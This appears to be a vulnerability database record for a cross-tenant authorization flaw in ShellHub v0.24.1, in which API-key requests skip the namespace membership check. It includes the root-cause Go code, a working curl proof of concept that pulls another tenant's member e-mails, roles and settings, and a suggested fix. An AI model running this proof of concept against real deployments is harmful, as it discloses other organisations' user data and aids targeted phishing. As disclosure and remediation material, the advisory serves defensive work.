{"id":"GHSA-vwx9-7qcf-gg7f","summary":"ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check","details":"## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // ⚠️ skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication — never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```","aliases":["CVE-2026-44426","GO-2026-5680"],"modified":"2026-06-25T23:11:43.395534046Z","published":"2026-05-07T03:02:28Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-07T03:02:28Z","nvd_published_at":"2026-05-13T22:16:44Z","cwe_ids":["CWE-639"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44426"},{"type":"PACKAGE","url":"https://github.com/shellhub-io/shellhub"}],"affected":[{"package":{"name":"github.com/shellhub-io/shellhub","ecosystem":"Go","purl":"pkg:golang/github.com/shellhub-io/shellhub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.24.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.24.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vwx9-7qcf-gg7f/GHSA-vwx9-7qcf-gg7f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}